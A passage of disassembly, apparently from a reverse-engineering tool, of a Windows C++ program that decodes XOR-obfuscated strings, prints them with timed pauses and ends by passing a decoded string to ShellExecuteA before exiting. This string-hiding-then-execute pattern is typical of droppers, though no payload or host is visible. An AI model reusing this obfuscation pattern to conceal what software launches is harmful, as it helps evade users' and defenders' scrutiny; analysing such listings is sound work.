movd dword [rsp + 0xc4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0xc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400064b0
lea rdx, [rsp + 0xc0]
mov rcx, r10
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x14000654a
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006545
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006545
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0xd8]
call fcn.140003d70
nop
mov r8, qword [rax + 0x10]
mov rcx, rdi
cmp qword [rax + 0x18], 0xf
jbe 0x1400065a2
mov rdx, qword [rax]
call fcn.14000ad10
mov r9, rax
movzx eax, word [0x1400adb58]
mov word [rsp + 0xd0], ax
movzx eax, byte [0x1400adb5a]
mov byte [rsp + 0xd2], al
jmp 0x1400065ca
mov rdx, rax
call fcn.14000ad10
mov r9, rax
movzx ecx, word [0x1400adb58]
mov word [rsp + 0xd0], cx
movzx ecx, byte [0x1400adb5a]
mov byte [rsp + 0xd2], cl
movups xmm0, xmmword [0x1400adb48]
movups xmmword [rsp + 0xc0], xmm0
mov r8d, ebx
cmp esi, 2
jl 0x140006737
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xc0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006600
cmp r8d, 0x13
jge 0x140006783
movsxd rax, r8d
lea r10, [rsp + 0xc0]
add r10, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x13
jl 0x140006750
lea rdx, [rsp + 0xc0]
mov rcx, r9
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x1400067eb
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
nop
lea rcx, [rsp + 0xd8]
call fcn.140003a90
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.1400705f8
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140006850
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000684b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000684b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0xd8]
call fcn.140003d70
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140006873
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.14000ad10
mov r10, rax
movups xmm0, xmmword [0x1400ad9a0]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [str.34___65__J]
movsd qword [rsp + 0x40], xmm0
movzx ecx, word [0x1400ad9b8]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x1400ad9ba]
mov byte [rsp + 0x4a], cl
mov r8d, ebx
cmp esi, 2
jl 0x140006a0b
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400068d4
cmp r8d, 0x1b
jge 0x140006a53
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140006a20
lea rdx, [rsp + 0x30]
mov rcx, r10
call fcn.140008f90
lea rdx, [0x1400093f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140006ab7
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ab2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
mov ecx, 0x6d6
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [0x14024d530]
call fcn.140010c80
call fcn.1400491b0
mov edi, dword [rax + 0x70]
mov rdx, qword [rsp + 0x198]
cmp rdx, 0xf
jbe 0x140006b1d
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ed34
mov qword [rsp + 0x190], rbx
mov qword [rsp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x180], 0
cmp dword [rsp + 0x1a8], 0
je 0x140006b4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, edi
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.14009ecd0
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0xd8]
call fcn.140003d70
nop
mov rdx, rax
mov rcx, rdi
call fcn.140009430
mov r11, rax
lea rdx, [rsp + 0x110]
call fcn.140007020
mov r9, rax
cmp byte [rax + 0x40], 0
je 0x140006d43
mov r8d, ebx
cmp esi, 2
jl 0x140006d0a
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140006bd3
cmp r8d, 0x41
jge 0x140006d43
movsxd r10, r8d
add r10, r9
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x41
jl 0x140006d10
mov rdx, r9
mov rcx, r11
call fcn.140008f90
nop
lea rcx, [rsp + 0xd8]
call fcn.140002380
mov ecx, 0x9f6
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x30]
call fcn.140007080
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140006f13
mov r8d, ebx
cmp esi, 2
jl 0x140006ed7
movdqa xmm0, xmmword [str.000000000000000022222222222222224444444444444444]
movdqa xmmword [rsp + 0x160], xmm0
mov rcx, rax
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400b46c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400b46c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400b4930]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4930]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4720]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4780]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x160]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140006da0
cmp r8d, 0x1c
jge 0x140006f13
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140006ee0
lea rdx, [rsp + 0xf8]
call fcn.140007060
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140006f3d
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor cl, 0x34
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r10
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140004060
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test r11d, r11d
jne 0x140004840
mov rax, qword [rax]
jmp 0x140004810
test r10d, r10d
jne 0x140004780
mov rcx, qword [rcx]
jmp 0x140004750
test r10d, r10d
jne 0x1400046c0
mov rax, qword [rax]
jmp 0x140004690
test r10d, r10d
jne 0x140004600
mov rax, qword [rax]
jmp 0x1400045d0
test r11d, r11d
jne 0x140004540
mov rax, qword [rax]
jmp 0x140004510
test r10d, r10d
jne 0x140004480
mov rax, qword [rax]
jmp 0x140004450
mov dword [rsp + 0x1a8], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
test r10d, r10d
jne 0x140004370
mov rcx, qword [rcx]
jmp 0x140004340
test r10d, r10d
jne 0x1400042b0
mov rax, qword [rax]
jmp 0x140004280
test r10d, r10d
jne 0x1400041f0
mov rax, qword [rax]
jmp 0x1400041c0